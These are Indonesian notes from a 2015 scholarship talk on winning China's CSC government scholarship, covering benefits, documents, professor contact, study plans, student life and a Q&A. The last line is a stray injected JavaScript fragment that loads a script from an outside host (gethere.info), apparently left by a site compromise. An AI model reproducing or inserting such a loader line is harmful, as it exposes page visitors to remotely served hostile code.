Scholarsip Talk #3 Sahabat Beasiswa Chapter Surabaya

Schotalk#3 SBC Surabaya 20151215_174843

📝NOTULENSI SCHOLARSHIPSTALK#3 📝

📌13 DESEMBER 2015

“RAIHLAH ILMU SAMPAI KE NEGERI CHINA”

👦🏻with ILHAM AZMY

📕Introducing
Nama saya Ilham Azmy, panggil saja mas Ilham. Saya asli dari Tasikmalaya, dari TK-SMA di sana. Dan melanjutkan studi ke ITS jurusan Teknik Material dan Metalurgi, alhamdulillah dengan beasiswa juga. Kemudian, lulus tepat 2014 lalu. Sekarang, alhamdulillah melanjutkan studi master ke China, di Harbin Engineering University (HEU), jurusan Materials Science and Engineering, dengan fokus program riset Li-Ion Battery. Lebih lengkapnya bisa dibaca di CV aja yaa.. Alhamdulillah juga lolos beasiswa China Government Scholarship. Kalo temen-temen tahu, seperti Mobukagakushonya Jepang. Kenapa memilih China? Karena memang saya memiliki rencana untuk melanjutkan riset saya ketika sarjana dulu (Li-Ion Battery). Saran dari dosen, dan kebanyakan dari paper international tentang battery lebih banyak publishernya dari China. Dan memang riset tentang baterai disini sangat berkembang. Apalagi diikuti perkembangan gadget yang sangat pesat, dan China banyak sekali inovasi diarahkan kesana.   Itu salah satu alasannya. Terlepas dari pepatah arab “tuntutlah ilmu sampai dari negeri China.” Dan juga saya pikir saat ini, lebih baik melanjutkan riset, agar expert. Ndak loncat sana-sini, mulai dari awal lagi.

📚 Materi “

Tentang bagaimana mendapatkan beasiswa Chinese Government Schoarship (CSC)” Sebenarnya beasiswa yang disediakan dari China ada 2, yaitu:
1. Chinese Government Scholarship (Pemerintah)
2. Beasiswa Kampus
Namun untuk besar nominal dan daya tarik beasiswa lebih menarik yang Chinese Government. Hanya untuk saingannya juga lumayan, tahun ini saya dengar dari pihak kedutaan ada pendaftar sekitar 5000-6000, dan yang lulus hanya 100an.

Survey lain, kalo dari Pakistan itu pendaftar sekitar 14000 yang diterima sekitar 200an. Bangladesh sekitar 10000, yang diterima hanya 60an. Thailand, pendaftar 2000an, yang diterima 150.

Untuk Chinese Government Scholarship, itu mencakup: Free tuition fee Free student apartment Free medical insurance Uang saku (master: 3000 yuan, sekitar 6,5 juta rupiah; doctor: 3500 yuan) Uang awal (pas tiba di China, 1500 yuan) Kalo untuk biaya hidup, disini relatif murah-murah. Masih bisa saving sekitar 2000 yuan (perbulan untuk shopping, tabungan, dan lain-lain) * pengalaman.

Kemudian, untuk persyaratan yang harus upload dan dikirim adalah: Form aplikasi Ijazah english Transkrip english Study plan Certificate bahasa (ielts 6.0 dan toefl 550) Paspor Form medcheck Lebih lengkap bisa dibaca di web  laihua.csc.edu.cn

Nah yang perlu dicatat, sebaiknya teman-teman punya hubungi Professor yang akan menjadi rujukan teman-teman nanti, tentunya yang sesuai dengan minat riset teman-teman ke depan. Itu semua ada di web setiap universitasnya. Dan teman-teman bisa baca CV setiap Prof-nya. Coba lakukan korespondensi lewat email. Sampaikan ketertarikan teman-teman untuk risetnya dan studi di sana. Dulu saya melakukan itu, dan memang sempet beberapa kali email-emailan, ditanya-tanya juga tentang background riset saya ketika sarjana, dan beberapa hal yang berkaitan dengan riset tersebut. Tunjukkan keseriusan kita, dan tentunya ilmu yang udah didapat ketika sarjana. Setelah nanti, Profesor oke. Mintalah semacam surat persetujuan (Approval Letter) dari Profesor tersebut, dan sertakan surat itu ketika apply beasiswanya. Insyaallah peluang untuk diterima lebih besar. Karena sebenarnya biasanya 1 Profesor membawahi grup riset gitu yg terdiri dari 20-25 orang, dan tentu setiap tahun lowongan akan selalu ada di grup riset itu. Nah siapa yang duluan catch up Prof-nya pasti akan lebih direkomkan ke univ-nya, dan lanjut ke pemerintah China. Teman saya ada yang daftar dari UGM, dan ternyata dia malah tidak diterima, dan setelah saya tanya, dia tidak kontak dulu Prof-nya. Selanjutnya, untuk pilih universitas, pastikan pilih yang “211 project”, itu semacam project university-nya china. Hanya ada sekitar 50 universitas di China.

Oh iya, lupa. Keuntungan juga dari beasiswa Chinese Government Scholarship, kalo semisal paper kita publish di international conference, akomodasi tiket pesawat dan lain-lain, akan dibiayai oleh Pemerintah China langsung (reimbursment system). Untuk sistem kuliahnya, untuk master ada 26 sks. Mata kuliah akan dipilihkan langsung oleh Prof, yang mendukung riset kita. Semester pertama lumayan banyak mata kuliahnya, semester 2 berkurang. Semester 3-4 fokus riset, dan harus publish minimal 1 paper international (SCI journal) untuk master. Kalo untuk doktor, tahun pertama ada kuliah. Lalu tahun ke 2-4 fokus riset, untuk jumlah papernya terpublishnya tergantung kebijakan jurusan ada yang 3,4 atau 5. Tapi kebanyakan minimal 3 paper. Oh iya, overview foreign student disini kebanyakan dari Pakistan, Thailand, Korea Selatan, Rusia, Bangladesh, Ukraina, Perancis, AS, New Zealand, dan lain-lain. Kemudian untuk fasilitas riset disini juga bagus, alat-alat tersedia, perpustakaan besar, dan akses jurnal internasional sangat mudah.

Terakhir, untuk hidup bagi muslim, di sini juga tidak sulit. Makanan halal tersedia di kantin kampus, dan beberapa resto halal juga banyak. Masjid juga tersedia , di kota saya saja ada 3 masjid. Perlu diingat juga, bahwa sekarang China adalah negara yang paling ditakuti Amerika. Dengan perkembangan riset dan ekonominya yang luar biasa, jadi studi di China bisa jadi pilihan, teman-teman. Untuk transportasi dalam kota, kalo mau pegi ke mana-mana, di kota-kota besar China (capital province), kita bisa mudah dengan bus kota dan subway. Untuk toleransi juga, cukup bagus disini, walaupun China terkenal komunisnya. Bahkan di lab, kita bisa sholat, dan gak perlu sembunyi-sembunyi. Malah ditanya kalo gak sholat sama labmates-nya. Hehe. Kemudian ada kereta super cepat juga 400km/jam (Bullet Train/Kereta Peluru) kalo mau pergi jauh-jauh. Kereta yang katanya juga akan menghubungkan Jakarta-Bandung.

📢Q&A

Atika_UI_T Metalurgi dan material
Q: Kalau dapet beasiswa Chinese Government Schoarship (CSC) atau dari pemerintah negara yang kita tuju itu ada timbal balik nya gitu ga kak? Misal setelah lulus kita harus apa gitu (?)
A: Tidak ada, hanya saja memang di semester 1 kita harus mengambil mata kuliah bahasa mandarin (survival class) dan di semester 2 ada matkul survey of china. Intinya memang beasiswa ini, China lagi kebanyakan duit. Dan ingin mengenalkan China ke negara lain juga.

Q: Kak, kalau misalnya dapat beasiswa dari pemerintah sendiri seperti LPDP apa harus juga kontak dengan Prof yang bersangkutan kak?
A: Setahu saya, LPDP mewajibkan harus ada Letter of Acceptance (LoA), nah kalo mau dapet itu tergantung, bisa langsung kontak international affairs tiap univ-nya, atau juga Profnya. Tapi sekali lagi, lebih baik kontak Prof-nya karena rekom Prof akan sangat kuat.

Q: Seleksi untuk bisa dapat beasiswanya ada apa saja kak selain administrasi?
A: Kalo untuk Master/Ph.D memang kebanyakan hanya administrasi saja. Dan titik tekannya adalah performa kamu ketika sarjana, dan Study/riset plan ketika master. Sejauh mana kamu memaparkan disana. Karena akan sangat kelihatan di study plan.

garry_likmi_bandung
Q: Kak ambil yang english taugth? Terus harus toefl 550 dan ielts 6 harus 2 biji itu kak?
A: Iya, sy ambil english taught, itu pilihan bisa salah satunya.

Novia -undip-fpik
Q: Apakah ada syarat IPK untuk mendapatkan beasiswa tersebut? Lalu adakah universitas yang risetnya lebih ke nutrisi atau pangan fungsional? Terimakasih
A: Sebenarnya tidak dicantumkan syarat IPK, tp pasti akan menjadi pertimbangan, karena dikirimkan juga transkrip kita. Usahakan aman sih diatas 3,25. Saya kurang tahu sebenarnya, tapi teman saya ada dari UGM, dia ngambil juga tentang mikrobiologi gitu disini.

Q: Mas mau nanyaa dong, kalo tentang mikrobiologi itu di universitas apa? Hehehe
A: Kebetulan China fokus pada Science and Technology, Agriculture, Forestry, Ilmu Sosial (Marxisme), dan Bahasa Mandari sendiri. Jadi tiap univ biasanya punya fokus masing2. Kalo untuk mikrobiologi coba cari yang ada namanya agriculture university gitu. Kalo temen saya sendiri dia di Northeast Agriculture University.

Taufiq_UGM_FISIKA
Q: Kalau untuk fisika material dimana mas yang bagus di sana?
A: Saya kurang tahu kalo dimana yang bagus, hanya saya sarankan univ yg termasuk “211 project”, lebih lengkapnya di web http://www.csc.edu.cn/laihua/indexen.aspx Dan fokus riset yang utama, kalo bisa sudah set-up fokus riset apa yang akan diambil nanti.

Sulis_uniga malang
Q: Bagaimana buat motivasion letter yang bisa menarik perhatian profesor, karena kan jelas banyak banget ribuan bahkan saingan berat?
A: Konten Motivasi letter (Sekilas Perkenalan, Background studi, prestasi, dan Minat Riset yang akan diambil). Motivation letter tunjukkan saja kalo kamu memang sangat berminat dengan Prof itu, tentu bisa disebutkan karena risetnya, track record rofnya, dan lain-lain. Cuma strength point tetep ada di Study Plan, kamu harus bener-bener menjabarkan sejelas-jelasnya overview tentang riset kamu nanti.

Afrida_universitas lampung_fisika.
Q: Bagaimana penjelasan study plan? Apakah itu seperti proposal tesis untuk jenjang master??
A: Sebenarnya tidak seperti thesis, Study Plan hanya berbentuk essay saja, 600-800 kata. Harus padat dan rinci untk menjelaskan rencana riset, dari mulai kenapa milih riset itu, bagaimana perkembangan risetnya, tantangannya seperti apa, dan korelasi riset itu dengan Prof/Univ yg akan kamu tuju. Usahakan Profnya yang memang udah ahli di bidang riset itu. Jangan sampe buat study plan, eh salah alamat Profnya.

Q: Dan apakah kita harus punya sertifikat bahasa mandarin untuk daftar beasiswa chinese government??
A: Tidak perlu, hanya sertifikat english saja.

Ayu sofiana_undip_biologi
Q: Kebetulan dosen di lab yang saya minati dan yang berkaitan dengan penelitian TA saya saat ini belum ada yang bergelar profesor, terus  apakah bisa dosen doktor memberikan rekomend?
A: Sepertinya tidak bisa, karena untuk Foreign Student harus langsung di bawah Prof. Karena biasanya yang masih Doktor itu, mereka masih associate Professor. Lebih baik hubungi Profnya langsung.

Q: Satu lagi kak saya juga pingin dapat beasiswa insyaallah kalo IPK, pengalaman asisten sama organisasi ada, tapi kalo lomba-lomba ilmiah karya tulis, PKM dan sejenisnya saya belum ada yang berprestasi lalu apakah saya masih punya kemungkinan untuk mendapatkan keinginan dapat beasiswa?

A: Tentu peluang selalu ada, nanti juga akan dilihat TA kamu seperti apa. Karena kita juga diminta untuk mengirimkan Jurnal TA english. Cuma memang lebih baik dicari pengalaman menulis dan meneliti, itu akan sangat menjadi nilai tambah.

Sulis Rimawati
Q: Aku mas Ilham, mau tanya untuk ekonomi di sana yang bagus di mana?
A: Kalo Ekonomi, di sini yang terkenal di Peking University, itu nomor 1.

Q: PPI nya adakan ya mas? Nanti biar saya googling, terimakasih banyak mas Ilham
A: Ada, coba serach aja ppitiongkok

Zahratunnisa_teknik kimia/UNLAM
Q: Mau nanya ka bahasa sehari-hari di sana menggunakan bahasa China atau English?
A:  Kalo di kampus sih, bahasa English. Cuma kalo keluar bahasa mandarin, tapi gak usah khawatir, kita dikasih 1 semester survival class mandarin seperti yang saya jelaskan tadi.

Retno_unj_plb
Q: Saya mau tanya terkait study plan mas Azmy ketika apply ke univ. Bagaimana mas Azmy membuat study plan? Padahal belum merasakan perkuliahan di sana baik secara kultur maupun lain-lainnya? Atau adakah batasan-batasan khusus dalam membuat study plan supaya tidak disebut melangit?
A: Study plan jangan terlalu jauh kemana-mana, cukup fokus di rencana riset kita saja. Yang pasti, dijelaskan latar belakang kenapa memilih riset itu, referensi riset sebelumnya seperti apa, tantangan riset itu, dan rencana riset yang kamu tawarkan. Yakinkan bahwa kamu bisa menyelesaikan riset itu dan sanjung juga Profnya, karena dia expert, banyak pengalaman blablabla, dan univnya juga. Hehe.

Q: Saya merasa sangat kagum sekaligus heran hihi. Mas Azmy punya segudang prestasi di bidang menulis bahkan sudah bisa membukukan tulisan. Apa dan siapa yang membuat mas Azmy bisa mencapai prestasi tersebut di usia yang terbilang ga tua-tua banget? Bagaimana prosesnya?
A: Wah kalo dibilang segudang prestasinya enggak deh! Masih banyak pemuda-pemuda lain yang jauh lebih hebat prestasinya. Intinya sih, kalo dari saya, hidup harus punya target, jangan mau hidup biasa-biasa, harus beda dari yang lain (dalam hal positif), itu aja sih yang menggerakkan diri saya untuk selalu berkarya. Dan jangan pernah takut mencoba! Hal yang susah, kalo dicoba terus pasti akan lebih mudah!

Fildzah_unair_pend. ners
Q: Saya mau tanya mas, dulu mas apply CSC ini lewat kedutaan China yang di Indo apa langsung ke univ di China masing-masing ngirim berkasnya? (Soalnya saya pernah dengar kalau via kedutaan itu main orang dalam. Saya dulu juga apply beasiswa ini Mas. Hehe)
A: Saya langsung apply lewat web beasiswanya, web laihua.csc.edu.cn dan kirim pribadi berkasnya, karena memang waktu itu dari Prof disuruhnya seperti itu, plus saya sertakan juga surat persetujuan dari Profnya tsb. Kalo di kedutaan, saya juga denger kalo di Pakistan misalnya dan Thailand mereka lewat kedutaannya. Kalo kasus itu, saya kurang tahu ya.

Pesan
“Hidup cuma sekali maka harus berarti! Persiapkan diri kita untuk kelak berkontribusi bagi perbaikan bangsa ini. Menjadi apapun itu. Kuliah ke Luar Negeri, bukan untuk gaya-gayaan, ataupun sekedar jalan-jalan. Tetapi, niatkan untuk meningkatkan kapasitas diri utk kembali ke ibu pertwi dengan diri yang lebih matang untuk siap mencurahkan tenaga dan pikiran demi kemajuan Indonesia! Tidak ada yang mustahil, kalau kita mau berusaha! Sukses untuk semuanya. Selamat berjuang mengejar mimpi-mimpinya!”

🎉SAHABAT BEASISWA CHAPTER SURABAYA🎉

📎📎📎📎📎📎📎
👍🏻Like fans page Fb : Sahabat Beasiswa Chapter Surabaya

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;